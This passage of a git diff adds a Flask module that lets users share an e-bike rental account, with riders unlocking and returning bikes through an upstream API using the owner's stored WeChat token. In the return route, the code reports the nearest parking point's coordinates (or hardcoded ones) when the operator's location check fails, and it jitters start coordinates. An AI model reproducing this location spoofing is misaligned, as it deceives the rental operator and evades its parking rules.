is not None else None), + "end_point": ({"lat": last.get("end_latitude"), + "lng": last.get("end_longitude")} + if last.get("end_latitude") is not None else None), + "points": points, + }}) diff --git a/routes/share.py b/routes/share.py new file mode 100644 index 0000000..9266ced --- /dev/null +++ b/routes/share.py @@ -0,0 +1,930 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +"""共享电动车路由 — 申请/接受/权限/解绑/共享开锁与还车""" +import datetime as dt +import random +import sqlite3 +import threading +import time +from functools import wraps +from flask import Blueprint, jsonify, request + +from db import get_db, get_user_auth, get_user_display_name, get_user_rental_settings +from routes.auth import get_current_user +from wechat import request_with_user_auth + +bp = Blueprint("share", __name__) + +_shared_return_locks = {} +_shared_return_locks_guard = threading.Lock() + +DEFAULT_DAILY_LIMIT = 3 +DEFAULT_REQUIRE_CARD = 1 +DEFAULT_CARD_MIN_TIMES = 1 + + +def _partner_display(share_or_none, fallback_email): + return (share_or_none or {}).get("owner_remark") or fallback_email + + +def _serialize_shared_return(func): + """同一共享订单的车主/骑行者还车请求串行执行。""" + @wraps(func) + def wrapped(*args, **kwargs): + data = request.get_json(silent=True) or {} + key = str(data.get("order_id") or data.get("rental_id") or "missing") + with _shared_return_locks_guard: + lock = _shared_return_locks.setdefault(key, threading.Lock()) + with lock: + return func(*args, **kwargs) + return wrapped + + +def _beijing_now(): + tz = dt.timezone(dt.timedelta(hours=8)) + return dt.datetime.now(tz) + + +def _today_str(): + return _beijing_now().strftime("%Y-%m-%d") + + +def _upstream_order_finished(user_id: int, order_id) -> bool: + """在还车调用响应不明确时,以用户真实订单状态做二次确认。""" + result = request_with_user_auth(user_id, "GET", "/user/info", _silent=True) + if result.get("rtn_code") != 0: + return False + non_deal = (result.get("data") or {}).get("nonDealOrder") + if not non_deal or not non_deal.get("order_id"): + return True + if str(non_deal.get("order_id")) != str(order_id): + return True + return str(non_deal.get("status")) != "2" + + +def _user_email(user_id: int): + conn = get_db() + cur = conn.cursor() + cur.execute("SELECT email FROM users WHERE id = ?", (user_id,)) + row = cur.fetchone() + conn.close() + return row["email"] if row else None + + +def _find_share(owner_user_id: int, rider_user_id: int): + conn = get_db() + cur = conn.cursor() + cur.execute(""" + SELECT * FROM shares + WHERE owner_user_id = ? AND rider_user_id = ? AND status = 'active' + LIMIT 1 + """, (owner_user_id, rider_user_id)) + row = cur.fetchone() + conn.close() + return dict(row) if row else None + + +def _get_share_by_id(share_id: int): + conn = get_db() + cur = conn.cursor() + cur.execute("SELECT * FROM shares WHERE id = ?", (share_id,)) + row = cur.fetchone() + conn.close() + return dict(row) if row else None + + +def _viewer_remark(share: dict, viewer_user_id: int) -> str: + """返回 viewer 为对方(partner)起的私密备注(昵称);未设置为空串。 + 备注私有:仅本人可见,起名者对另一方的称呼。 + - 共享方(owner)给用车方(rider)起的备注存 owner_remark + - 用车方(rider)给共享方(owner)起的备注存 rider_remark""" + if not share: + return "" + if share.get("owner_user_id") == viewer_user_id: + return share.get("owner_remark") or "" + if share.get("rider_user_id") == viewer_user_id: + return share.get("rider_remark") or "" + return "" + + +def _get_usage(owner_user_id: int, rider_user_id: int, date_str: str): + conn = get_db() + cur = conn.cursor() + cur.execute(""" + SELECT used_count FROM share_usage + WHERE owner_user_id = ? AND rider_user_id = ? AND use_date = ? + """, (owner_user_id, rider_user_id, date_str)) + row = cur.fetchone() + conn.close() + return row["used_count"] if row else 0 + + +def _inc_usage(owner_user_id: int, rider_user_id: int, date_str: str): + conn = get_db() + cur = conn.cursor() + cur.execute(""" + INSERT INTO share_usage (owner_user_id, rider_user_id, use_date, used_count) + VALUES (?, ?, ?, 1) + ON CONFLICT(owner_user_id, rider_user_id, use_date) + DO UPDATE SET used_count = used_count + 1, updated_at = CURRENT_TIMESTAMP + """, (owner_user_id, rider_user_id, date_str)) + conn.commit() + conn.close() + + +def _owner_card_status(owner_user_id: int): + """读取共享者(owner)微信优惠卡实时状态。 + 返回 (known, has_card, max_remain, msg) + known=False 表示读取失败;max_remain=None 表示无限次""" + try: + res = request_with_user_auth(owner_user_id, "GET", "/user/packages", _silent=True) + except Exception: + return False, False, None, "无法确认优惠卡状态" + if not res or res.get("rtn_code") != 0: + return False, False, None, "无法确认优惠卡状态" + pkgs = ((res.get("data") or {}).get("bike_packages")) or [] + nums = [] + for p in pkgs: + rt = p.get("remainTimes") + if rt is None or str(rt).strip() in ("", "None", "null"): + nums.append(None) # 无限次 + continue + try: + nums.append(int(float(rt))) + except (TypeError, ValueError): + pass + if not nums: + return True, False, 0, "共享者没有优惠卡" + has_inf = any(x is None for x in nums) + mx = max((x for x in nums if x is not None), default=0) + return True, True, (None if has_inf else mx), "" + + +def _share_card_block(share: dict, card_status) -> str: + """返回卡规则拦截原因;'' 表示通过。card_status=(known,has_card,max_remain,msg)""" + if not share.get("require_card"): + return "" + known, has_card, max_remain, msg = card_status + if not known: + return msg or "无法确认优惠卡状态" + if not has_card: + return "共享者没有优惠卡" + need = share.get("card_min_times") or 0 + if need > 0 and max_remain is not None and max_remain < need: + return f"共享者优惠卡剩余不足({max_remain}次 < {need}次)" + return "" + + +def _owner_has_active_order(owner_user_id: int): + """共享者账号当前是否已有在用订单(自己骑或正被某个被共享者在用)""" + now_bj = _beijing_now().strftime("%Y-%m-%d %H:%M:%S") + conn = get_db() + cur = conn.cursor() + cur.execute(""" + SELECT id FROM rentals + WHERE user_id = ? AND expired = 0 AND end_time > ? + LIMIT 1 + """, (owner_user_id, now_bj)) + row = cur.fetchone() + conn.close() + return row is not None + + +def _share_state(share: dict, rider_user_id: int): + """计算某条共享关系的实时状态(骑行者视角)""" + used = _get_usage(share["owner_user_id"], rider_user_id, _today_str()) + limit = share.get("daily_limit") or 0 + remain = max(0, limit - used) + known, has_card, max_remain, msg = _owner_card_status(share["owner_user_id"]) + card_block = _share_card_block(share, (known, has_card, max_remain, msg)) + busy = _owner_has_active_order(share["owner_user_id"]) + reasons = [] + if busy: + reasons.append("正在使用中,暂无法代开锁") + if not busy and remain <= 0: + reasons.append("今日次数已用完") + if not busy and card_block: + reasons.append(card_block) + can_use = (not busy) and remain > 0 and not card_block + return { + "used_today": used, + "daily_limit": limit, + "remaining_today": remain, + "card_block": card_block, + "busy": busy, + "reasons": reasons, + "can_use": can_use, + } + + +# ========== 申请 / 接受 ========== + +@bp.route("/api/share/request", methods=["POST"]) +def share_request(): + """骑行者发起共享申请:输入共享者(车主)邮箱""" + user = get_current_user() + if not user: + return jsonify({"rtn_code": 401, "message": "请先登录"}) + data = request.get_json() or {} + to_email = str(data.get("to_email", "")).strip().lower() + if not to_email: + return jsonify({"rtn_code": 400, "message": "请输入对方邮箱"}) + if to_email == user["email"].lower(): + return jsonify({"rtn_code": 400, "message": "不能申请共享给自己"}) + + conn = get_db() + cur = conn.cursor() + cur.execute("SELECT id FROM users WHERE email = ?", (to_email,)) + row = cur.fetchone() + if not row: + conn.close() + return jsonify({"rtn_code": 400, "message": "对方账号不存在"}) + to_user_id = row["id"] + conn.close() + + if _find_share(to_user_id, user["id"]): + return jsonify({"rtn_code": 400, "message": "对方已经共享给你了"}) + if _find_share(user["id"], to_user_id): + return jsonify({"rtn_code": 400, "message": "你已共享给对方,无需申请"}) + + conn = get_db() + cur = conn.cursor() + cur.execute(""" + SELECT id, status FROM share_requests + WHERE from_user_id = ? AND to_user_id = ? + ORDER BY id DESC LIMIT 1 + """, (user["id"], to_user_id)) + exist = cur.fetchone() + if exist: + if exist["status"] == "pending": + conn.close() + return jsonify({"rtn_code": 0, "message": "已发送申请,等待对方接受"}) + # rejected / cancelled → 允许重新发起 + cur.execute(""" + UPDATE share_requests SET status = 'pending', updated_at = CURRENT_TIMESTAMP + WHERE id = ? + """, (exist["id"],)) + conn.commit() + conn.close() + return jsonify({"rtn_code": 0, "message": "已重新发送申请"}) + + cur.execute(""" + INSERT INTO share_requests (from_user_id, to_user_id, status) + VALUES (?, ?, 'pending') + """, (user["id"], to_user_id)) + conn.commit() + conn.close() + + # 离线通知:给车主发一封「有人申请共享」邮件(线程内发送,不阻塞响应) + try: + from rental_mail import send_share_request_email + from_name = get_user_display_name(user["id"]) + threading.Thread( + target=send_share_request_email, + args=(to_user_id, from_name, user["email"]), + daemon=True, + ).start() + except Exception as exc: + print(f"[共享申请] 通知邮件调度失败: {exc}") + return jsonify({"rtn_code": 0, "message": "共享申请已发送,等待对方接受"}) + + +@bp.route("/api/share/pending", methods=["GET"]) +def share_pending(): + """车主视角:待处理的共享申请列表""" + user = get_current_user() + if not user: + return jsonify({"rtn_code": 401, "message": "请先登录"}) + conn = get_db() + cur = conn.cursor() + cur.execute(""" + SELECT sr.id, sr.from_user_id, sr.status, sr.created_at, u.email AS from_email + FROM share_requests sr + JOIN users u ON u.id = sr.from_user_id + WHERE sr.to_user_id = ? AND sr.status = 'pending' + ORDER BY sr.id ASC + """, (user["id"],)) + rows = [dict(r) for r in cur.fetchall()] + conn.close() + return jsonify({"rtn_code": 0, "data": rows}) + + +@bp.route("/api/share/respond", methods=["POST"]) +def share_respond(): + """车主接受/拒绝共享申请。接受后立即建立共享(默认权限)""" + user = get_current_user() + if not user: + return jsonify({"rtn_code": 401, "message": "请先登录"}) + data = request.get_json() or {} + req_id = data.get("request_id") + accept = bool(data.get("accept")) + if not req_id: + return jsonify({"rtn_code": 400, "message": "缺少 request_id"}) + + conn = get_db() + cur = conn.cursor() + cur.execute("SELECT * FROM share_requests WHERE id = ? AND to_user_id = ?", + (req_id, user["id"])) + req = cur.fetchone() + if not req: + conn.close() + return jsonify({"rtn_code": 404, "message": "申请不存在"}) + rider_id = req["from_user_id"] + + if not accept: + cur.execute("UPDATE share_requests SET status = 'rejected', updated_at = CURRENT_TIMESTAMP WHERE id = ?", (req_id,)) + conn.commit() + conn.close() + return jsonify({"rtn_code": 0, "message": "已拒绝"}) + + # 接受:检查/建立共享关系 + cur.execute("SELECT * FROM shares WHERE owner_user_id = ? AND rider_user_id = ?", + (user["id"], rider_id)) + share = cur.fetchone() + if share: + if share["status"] == "active": + conn.close() + return jsonify({"rtn_code": 400, "message": "共享关系已存在"}) + cur.execute(""" + UPDATE shares SET status = 'active', daily_limit = ?, require_card = ?, card_min_times = ?, + unbound_by = NULL, updated_at = CURRENT_TIMESTAMP + WHERE id = ? + """, (DEFAULT_DAILY_LIMIT, DEFAULT_REQUIRE_CARD, DEFAULT_CARD_MIN_TIMES, share["id"])) + share_id = share["id"] + else: + cur.execute(""" + INSERT INTO shares (owner_user_id, rider_user_id, daily_limit, require_card, card_min_times, status) + VALUES (?, ?, ?, ?, ?, 'active') + """, (user["id"], rider_id, DEFAULT_DAILY_LIMIT, DEFAULT_REQUIRE_CARD, DEFAULT_CARD_MIN_TIMES)) + share_id = cur.lastrowid + + cur.execute("UPDATE share_requests SET status = 'accepted', updated_at = CURRENT_TIMESTAMP WHERE id = ?", (req_id,)) + conn.commit() + conn.close() + + rider_email = _user_email(rider_id) + return jsonify({"rtn_code": 0, "message": "已接受", "data": { + "share_id": share_id, "rider_email": rider_email, + "daily_limit": DEFAULT_DAILY_LIMIT, "require_card": DEFAULT_REQUIRE_CARD, + "card_min_times": DEFAULT_CARD_MIN_TIMES, + }}) + + +# ========== 权限管理 / 解绑 ========== + +@bp.route("/api/share/config", methods=["POST"]) +def share_config(): + """车主修改共享权限(限双方任意可解绑)""" + user = get_current_user() + if not user: + return jsonify({"rtn_code": 401, "message": "请先登录"}) + data = request.get_json() or {} + share_id = data.get("share_id") + share = _get_share_by_id(share_id) if share_id else None + if not share: + return jsonify({"rtn_code": 404, "message": "共享关系不存在"}) + if share["owner_user_id"] != user["id"]: + return jsonify({"rtn_code": 403, "message": "只有共享者可以修改权限"}) + + try: + daily_limit = max(0, min(99, int(data.get("daily_limit", share["daily_limit"])))) + except (TypeError, ValueError): + daily_limit = share["daily_limit"] + require_card = 1 if data.get("require_card", bool(share["require_card"])) in (True, 1, "1", "true") else 0 + try: + card_min_times = max(0, min(999, int(data.get("card_min_times", share["card_min_times"])))) + except (TypeError, ValueError): + card_min_times = share["card_min_times"] + + conn = get_db() + cur = conn.cursor() + cur.execute(""" + UPDATE shares SET daily_limit = ?, require_card = ?, card_min_times = ?, updated_at = CURRENT_TIMESTAMP + WHERE id = ? + """, (daily_limit, require_card, card_min_times, share_id)) + conn.commit() + conn.close() + return jsonify({"rtn_code": 0, "message": "权限已更新"}) + + +@bp.route("/api/share/unbind", methods=["POST"]) +def share_unbind(): + """任一方解绑共享关系""" + user = get_current_user() + if not user: + return jsonify({"rtn_code": 401, "message": "请先登录"}) + data = request.get_json() or {} + share_id = data.get("share_id") + share = _get_share_by_id(share_id) if share_id else None + if not share: + return jsonify({"rtn_code": 404, "message": "共享关系不存在"}) + if user["id"] not in (share["owner_user_id"], share["rider_user_id"]): + return jsonify({"rtn_code": 403, "message": "无权操作"}) + + conn = get_db() + cur = conn.cursor() + cur.execute(""" + UPDATE shares SET status = 'unbound', unbound_by = ?, updated_at = CURRENT_TIMESTAMP + WHERE id = ? + """, (user["id"], share_id)) + conn.commit() + conn.close() + return jsonify({"rtn_code": 0, "message": "已解绑"}) + + +@bp.route("/api/share/remark", methods=["POST"]) +def share_remark(): + """任一方(共享方/用车方)给对方(partner)设置私密备注(昵称),仅本人可见。 + - 共享方(owner)设置 → owner_remark(owner 侧显示) + - 用车方(rider)设置 → rider_remark(rider 侧显示) + remark 传空串可清除备注。""" + user = get_current_user() + if not user: + return jsonify({"rtn_code": 401, "message": "请先登录"}) + data = request.get_json() or {} + share_id = data.get("share_id") + remark = str(data.get("remark", "")).strip() + share = _get_share_by_id(share_id) if share_id else None + if not share: + return jsonify({"rtn_code": 404, "message": "共享关系不存在"}) + if user["id"] not in (share["owner_user_id"], share["rider_user_id"]): + return jsonify({"rtn_code": 403, "message": "无权操作"}) + if len(remark) > 50: + return jsonify({"rtn_code": 400, "message": "备注最多50字"}) + is_owner = share["owner_user_id"] == user["id"] + col = "owner_remark" if is_owner else "rider_remark" + partner_id = share["rider_user_id"] if is_owner else share["owner_user_id"] + conn = get_db() + cur = conn.cursor() + cur.execute(f"UPDATE shares SET {col} = ?, updated_at = CURRENT_TIMESTAMP WHERE id = ?", + (remark or None, share_id)) + conn.commit() + conn.close() + return jsonify({"rtn_code": 0, + "message": "备注已保存" if remark else "备注已清除", + "data": {"share_id": share_id, "remark": remark, + "partner_email": _user_email(partner_id)}}) + + +# ========== 列表 ========== + +@bp.route("/api/share/list", methods=["GET"]) +def share_list(): + """双tab数据:可使用的(别人共享给我) / 我共享的(我共享给别人)""" + user = get_current_user() + if not user: + return jsonify({"rtn_code": 401, "message": "请先登录"}) + me = user["id"] + conn = get_db() + cur = conn.cursor() + + # 可使用的:owner 共享给我 + cur.execute(""" + SELECT s.*, u.email AS owner_email FROM shares s + JOIN users u ON u.id = s.owner_user_id + WHERE s.rider_user_id = ? AND s.status = 'active' + ORDER BY s.id DESC + """, (me,)) + usable_rows = [dict(r) for r in cur.fetchall()] + + # 我共享的:我共享给 rider + cur.execute(""" + SELECT s.*, u.email AS rider_email FROM shares s + JOIN users u ON u.id = s.rider_user_id + WHERE s.owner_user_id = ? AND s.status = 'active' + ORDER BY s.id DESC + """, (me,)) + shared_rows = [dict(r) for r in cur.fetchall()] + conn.close() + + usable = [] + for s in usable_rows: + st = _share_state(s, me) + usable.append({ + "share_id": s["id"], + "owner_user_id": s["owner_user_id"], + "owner_email": s["owner_email"], + "owner_name": get_user_display_name(s["owner_user_id"]), + "remark": s.get("rider_remark") or "", + "daily_limit": s["daily_limit"], + "require_card": s["require_card"], + "card_min_times": s["card_min_times"], + "used_today": st["used_today"], + "remaining_today": st["remaining_today"], + "card_block": st["card_block"], + "reasons": st["reasons"], + "can_use": st["can_use"], + }) + + shared = [] + for s in shared_rows: + rider_id = s["rider_user_id"] + st = _share_state(s, rider_id) + shared.append({ + "share_id": s["id"], + "rider_user_id": rider_id, + "rider_email": s["rider_email"], + "rider_name": get_user_display_name(rider_id), + "remark": s.get("owner_remark") or "", + "daily_limit": s["daily_limit"], + "require_card": s["require_card"], + "card_min_times": s["card_min_times"], + "rider_used_today": st["used_today"], + "rider_remaining_today": st["remaining_today"], + }) + + return jsonify({"rtn_code": 0, "data": {"usable": usable, "shared": shared}}) + + +@bp.route("/api/share/sources", methods=["GET"]) +def share_sources(): + """开锁弹窗用:列出我(骑行者)可用的共享者;show_unavailable=1 时包含次数为0的""" + user = get_current_user() + if not user: + return jsonify({"rtn_code": 401, "message": "请先登录"}) + me = user["id"] + show_all = request.args.get("show_unavailable") == "1" + conn = get_db() + cur = conn.cursor() + cur.execute(""" + SELECT s.*, u.email AS owner_email FROM shares s + JOIN users u ON u.id = s.owner_user_id + WHERE s.rider_user_id = ? AND s.status = 'active' + ORDER BY s.id DESC + """, (me,)) + rows = [dict(r) for r in cur.fetchall()] + conn.close() + + sources, hidden = [], 0 + for s in rows: + st = _share_state(s, me) + item = { + "share_id": s["id"], + "owner_user_id": s["owner_user_id"], + "owner_email": s["owner_email"], + "owner_name": get_user_display_name(s["owner_user_id"]), + "remark": s.get("rider_remark") or "", + "remaining_today": st["remaining_today"], + "daily_limit": s["daily_limit"], + "card_block": st["card_block"], + "busy": st["busy"], + "reasons": st["reasons"], + "can_use": st["can_use"], + } + if item["can_use"]: + sources.append(item) + elif st["busy"]: + # 车主/其他人在使用中:显示出来(置灰提示),不归入"隐藏不可用" + sources.append(item) + else: + hidden += 1 + if show_all: + sources.append(item) + return jsonify({"rtn_code": 0, "data": { + "sources": sources, "hidden_count": hidden, "has_any": bool(sources or hidden)}}) + + +@bp.route("/api/share/active", methods=["GET"]) +def share_active(): + """横幅用:当前与共享相关的在用车辆(我是车主共享出去/我是骑行者正在用)""" + user = get_current_user() + if not user: + return jsonify({"rtn_code": 401, "message": "请先登录"}) + me = user["id"] + from timer import _get_remaining_seconds + now_bj = _beijing_now().strftime("%Y-%m-%d %H:%M:%S") + conn = get_db() + cur = conn.cursor() + cur.execute(""" + SELECT r.*, u.email AS partner_email FROM rentals r + JOIN users u ON u.id = CASE WHEN r.user_id = ? THEN r.rider_user_id ELSE r.user_id END + WHERE ((r.user_id = ? AND r.rider_user_id IS NOT NULL AND r.rider_user_id != ?) + OR r.rider_user_id = ?) + AND r.expired = 0 AND r.end_time > ? + ORDER BY r.id DESC + """, (me, me, me, me, now_bj)) + rows = [dict(r) for r in cur.fetchall()] + conn.close() + + result = [] + # 只去掉共享记录表内同一个上游订单的历史重复行;不会与骑行者 + # 自己账号的普通/待支付订单合并,二者应在前端同时展示。 + seen_orders = set() + for r in rows: + order_key = str(r.get("order_id") or r["id"]) + if order_key in seen_orders: + continue + seen_orders.add(order_key) + try: + remain = _get_remaining_seconds(r) + except Exception: + remain = 0 + if remain <= 0: + continue + # 取该对(owner, rider)的私密备注:仅显示 viewer(me) 给 partner 起的备注 + is_owner = r["user_id"] == me + partner_user_id = r["rider_user_id"] if is_owner else r["user_id"] + remark = "" + try: + c2 = get_db() + cu2 = c2.cursor() + cu2.execute(""" + SELECT owner_remark, rider_remark FROM shares + WHERE owner_user_id = ? AND rider_user_id = ? + ORDER BY id DESC LIMIT 1 + """, (r["user_id"], r["rider_user_id"])) + srow = cu2.fetchone() + c2.close() + if srow: + remark = (srow["owner_remark"] or "") if is_owner else (srow["rider_remark"] or "") + except Exception: + remark = "" + result.append({ + "rental_id": r["id"], + "order_id": r.get("order_id") or r["id"], + "bike_code": r["bike_code"], + "role": "owner" if is_owner else "rider", + "partner_email": r["partner_email"], + "partner_name": get_user_display_name(partner_user_id), + "remark": remark, + "remaining_seconds": remain, + "end_time": r["end_time"], + }) + return jsonify({"rtn_code": 0, "data": result}) + + +# ========== 共享开锁 / 还车 ========== + +@bp.route("/api/order/shared_unlock", methods=["POST"]) +def shared_unlock(): + """骑行者用共享者的凭据开锁(真实后端)""" + rider = get_current_user() + if not rider: + return jsonify({"rtn_code": 401, "message": "请先登录"}) + data = request.get_json() or {} + code = str(data.get("code", "")).strip() + owner_user_id = data.get("owner_user_id") + if not code: + return jsonify({"rtn_code": 400, "message": "缺少车辆编码"}) + if not owner_user_id: + return jsonify({"rtn_code": 400, "message": "缺少共享者"}) + try: + owner_user_id = int(owner_user_id) + except (TypeError, ValueError): + return jsonify({"rtn_code": 400, "message": "共享者参数错误"}) + + share = _find_share(owner_user_id, rider["id"]) + if not share: + return jsonify({"rtn_code": 400, "message": "共享关系不存在或已解绑"}) + + # 1. 共享者凭据 + token_id, access_token = get_user_auth(owner_user_id) + if not token_id: + return jsonify({"rtn_code": 400, "message": "共享者未配置微信凭据"}) + + # 2. 并发检查:同一 wx 账号同时只能有一个在用订单 + conn = get_db() + cur = conn.cursor() + now_bj = _beijing_now().strftime("%Y-%m-%d %H:%M:%S") + cur.execute(""" + SELECT * FROM rentals WHERE user_id = ? AND expired = 0 AND end_time > ? + ORDER BY id DESC LIMIT 1 + """, (owner_user_id, now_bj)) + active_rental = cur.fetchone() + if active_rental: + conn.close() + return jsonify({"rtn_code": 400, "message": "共享者/车辆正在使用中,暂无法代开锁"}) + conn.close() + + # 3. 次数限制 + st = _share_state(share, rider["id"]) + if not st["can_use"]: + msg = ";".join(st["reasons"]) or "当前不可用" + return jsonify({"rtn_code": 400, "message": f"共享使用被限制:{msg}"}) + + owner_email = _user_email(owner_user_id) + rider_name = get_user_display_name(rider["id"]) + print(f"[共享开锁] rider={rider['email']} uses owner={owner_email}, code={code}") + + # 4. 真实后端:扫码→下单→开锁(全部使用 owner 凭据) + bike_result = request_with_user_auth(owner_user_id, "POST", "/project/bicycle", + data={"code": code}, _silent=True) + if bike_result.get("rtn_code") != 0: + return jsonify({"rtn_code": bike_result.get("rtn_code", 500), + "message": bike_result.get("message", "获取车辆信息失败")}) + + # 用实时地图坐标(+抖动)作下单起点:优先 /project/map 抓该车当前坐标 + from routes.rental import _fetch_live_bike_coord, _near_coord + bd = bike_result.get("data") or {} + live = _fetch_live_bike_coord(owner_user_id, code, bd.get("type")) + if live: + latitude, longitude = _near_coord(live[0], live[1]) + else: + latitude, longitude = _near_coord( + bd.get("latitude", 36.67), bd.get("longitude", 116.98) + ) + + order_result = request_with_user_auth( + owner_user_id, "POST", "/record/order", + data={"code": code, "start_longitude": longitude, "start_latitude": latitude}, + _silent=True) + if order_result.get("rtn_code") != 0 or not (order_result.get("data") or {}).get("order_id"): + return jsonify({"rtn_code": order_result.get("rtn_code", 500), + "message": order_result.get("message", "创建订单失败")}) + + order_id = order_result["data"]["order_id"] + open_result = request_with_user_auth(owner_user_id, "POST", "/record/qrOrder", + data={"order_id": order_id}, _silent=True) + if open_result.get("rtn_code") != 0: + return jsonify({"rtn_code": open_result.get("rtn_code", 500), + "message": open_result.get("message", "开锁失败"), + "order_id": order_id}) + + # 5. 本地记录 + 计时器 + 使用次数 + duration = get_user_rental_settings(rider["id"])["rental_duration_minutes"] + start_time = _beijing_now() + end_time = start_time + dt.timedelta(minutes=duration) + conn = get_db() + cur = conn.cursor() + row_id = None + try: + cur.execute(""" + INSERT INTO rentals (id, order_id, bike_code, email, user_id, rider_user_id, + start_time, end_time, duration, expired, source) + VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, 0, 'shared') + """, (int(order_id), order_id, code, owner_email, owner_user_id, rider["id"], + start_time.strftime("%Y-%m-%d %H:%M:%S"), + end_time.strftime("%Y-%m-%d %H:%M:%S"), duration)) + row_id = int(order_id) + except sqlite3.IntegrityError: + # id 与历史行冲突(极少数情况):改用自增 id,order_id 仍记录真实订单号 + cur.execute(""" + INSERT INTO rentals (order_id, bike_code, email, user_id, rider_user_id, + start_time, end_time, duration, expired, source) + VALUES (?, ?, ?, ?, ?, ?, ?, ?, 0, 'shared') + """, (order_id, code, owner_email, owner_user_id, rider["id"], + start_time.strftime("%Y-%m-%d %H:%M:%S"), + end_time.strftime("%Y-%m-%d %H:%M:%S"), duration)) + row_id = cur.lastrowid + except Exception as e: + print(f"[共享开锁] 本地记录失败: {e}") + if row_id: + conn.commit() + conn.close() + + if row_id: + from timer import start_rental_timer + start_rental_timer(rental_id=row_id, email=owner_email, bike_code=code, + duration_minutes=duration, user_id=owner_user_id) + _inc_usage(owner_user_id, rider["id"], _today_str()) + # 回填共享订单起点(GCJ02):走 share 自己的 get_db,保持事务归属一致 + try: + from routes.rental import _set_rental_start + conn = get_db() + _set_rental_start(conn, row_id, latitude, longitude) + conn.commit() + conn.close() + except Exception as exc: + print(f"[共享开锁] 回填起点失败: {exc}") + # 车主邮件:昵称(邮箱)已开始使用你的电动车 + 车辆当前位置 + try: + from rental_mail import send_share_started_email + threading.Thread( + target=send_share_started_email, + args=(row_id, owner_user_id, rider["id"], code, + latitude, longitude, duration, + _get_usage(owner_user_id, rider["id"], _today_str()), + share.get("daily_limit") or 0), + daemon=True, + ).start() + except Exception as exc: + print(f"[共享开锁] 车主通知邮件调度失败: {exc}") + + # 成功提示:rider 侧若给 owner 起过私密备注,则显示该备注(昵称),否则退回邮箱 + rider_label = (share.get("rider_remark") or "").strip() or owner_email + return jsonify({"rtn_code": 0, "message": f"已使用{rider_label}的共享开锁成功", + "order_id": order_id, "bike_code": code}) + + +@bp.route("/api/share/return", methods=["POST"]) +@_serialize_shared_return +def share_return(): + """共享还车:车主或骑行者都可还(使用 owner 凭据的真实还车)""" + user = get_current_user() + if not user: + return jsonify({"rtn_code": 401, "message": "请先登录"}) + data = request.get_json() or {} + order_id = data.get("order_id") or data.get("rental_id") + latitude = data.get("latitude") + longitude = data.get("longitude") + if not order_id: + return jsonify({"rtn_code": 400, "message": "缺少订单ID"}) + + conn = get_db() + cur = conn.cursor() + cur.execute("SELECT * FROM rentals WHERE order_id = ? OR id = ? ORDER BY id DESC LIMIT 1", + (order_id, order_id)) + rental = cur.fetchone() + conn.close() + if not rental: + return jsonify({"rtn_code": 404, "message": "记录不存在"}) + if user["id"] not in (rental["user_id"], rental["rider_user_id"]): + return jsonify({"rtn_code": 403, "message": "无权操作"}) + # 以 rider_user_id 判定是否为共享订单(不依赖 source,兼容历史遗留行) + if not rental["rider_user_id"] or rental["rider_user_id"] == rental["user_id"]: + return jsonify({"rtn_code": 400, "message": "该订单不是共享订单"}) + if rental["expired"]: + return jsonify({"rtn_code": 0, "message": "订单已结束,无需重复还车"}) + + owner_user_id = rental["user_id"] + bike_code = rental["bike_code"] + if not latitude or not longitude: + latitude, longitude = 36.67, 116.98 + + # 真实还车(owner 凭据):checkLocation → 非还车点则就近停车点 + from routes.rental import _try_card_pay_auto, get_nearest_park_point + from timer import _cancel_rental_timers + + check_result = request_with_user_auth( + owner_user_id, "POST", "/record/checkLocation", + data={"longitude": longitude, "latitude": latitude, "bicycleCode": bike_code}, + _silent=True) + use_nearest = False + if check_result.get("rtn_code") != 0 or check_result.get("parkNoShow") is True: + nearest = get_nearest_park_point(latitude, longitude) + if nearest: + latitude = nearest.get("latitude") or nearest.get("lat") + longitude = nearest.get("longitude") or nearest.get("lng") + use_nearest = True + + upstream_order_id = rental["order_id"] or order_id + return_result = request_with_user_auth( + owner_user_id, "POST", "/record/return", + data={"order_id": int(upstream_order_id) if str(upstream_order_id).isdigit() else upstream_order_id, + "longitude": longitude, "latitude": latitude}, _silent=True) + + confirmed_by_status = False + if return_result.get("rtn_code") != 0: + # 锁车指令可能已经被车辆执行,但 HTTP 响应超时/异常。短暂复查真实订单 + # 状态;只在上游明确显示不再骑行时按成功处理,避免误报也避免误清理。 + for attempt in range(4): + if attempt: + time.sleep(1) + if _upstream_order_finished(owner_user_id, upstream_order_id): + confirmed_by_status = True + break + if not confirmed_by_status: + return jsonify({"rtn_code": return_result.get("rtn_code", 500), + "message": return_result.get("message", "还车失败")}) + + conn = get_db() + cur = conn.cursor() + cur.execute(""" + SELECT id FROM rentals + WHERE id = ? OR (order_id = ? AND user_id = ? AND expired = 0) + """, (rental["id"], str(upstream_order_id), owner_user_id)) + finished_rental_ids = [row["id"] for row in cur.fetchall()] + # 回填终点:expired=1 + 实际还车时间 + 终点坐标/位置标签(复用同一连接, + # 与 share_return 的其他写库同事务,且测试替身 get_db 也能生效) + try: + from routes.rental import _set_rental_finished + _set_rental_finished( + conn, "WHERE order_id = ? AND user_id = ? AND expired = 0", + (str(upstream_order_id), owner_user_id), latitude, longitude) + except Exception as exc: + print(f"[共享还车] 回填终点失败: {exc}") + conn.commit() + conn.close() + for rental_id in finished_rental_ids: + _cancel_rental_timers(int(rental_id)) + + # 还车后清除订单状态短缓存,避免前端短时间继续显示旧横幅。 + from routes.rental import _user_info_cache + _user_info_cache.pop(owner_user_id, None) + + # 双方邮件:从哪里骑到哪里 + try: + from rental_mail import send_share_returned_email + threading.Thread( + target=send_share_returned_email, + args=(rental["id"], upstream_order_id, owner_user_id, + rental["rider_user_id"], bike_code, latitude, longitude), + daemon=True, + ).start() + except Exception as exc: + print(f"[共享还车] 通知邮件调度失败: {exc}") + + # 真实还车已成功。自动尝试月卡/周卡支付仅作为附加操作,任何异常都不应让已成功的还车被前端判为失败。 + pay_result = {} + try: + pay_result = _try_card_pay_auto(owner_user_id, str(upstream_order_id), bike_code) or {} + except Exception as e: + print(f"[共享还车] 自动卡支付异常(不影响还车结果): {e}") + pay_result = {} + pay_msg = pay_result.get("message", "") + success_message = "还车成功" + if confirmed_by_status: + success_message += "(已通过订单状态确认)" + return jsonify({"rtn_code": 0, + "message": success_message + (f",{pay_msg}" if pay_result.get("success") else ""), + "used_nearest": use_nearest, "card_pay": pay_result}) diff --git a/routes/subscribe.py b/routes/subscribe.py new file mode 100644 index 0000000..4a64942 --- /dev/null +++ b/routes/subscribe.py @@ -0,0 +1,200 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +"""订阅提醒路由:规则的增删改查(每用户最多 5 条)。 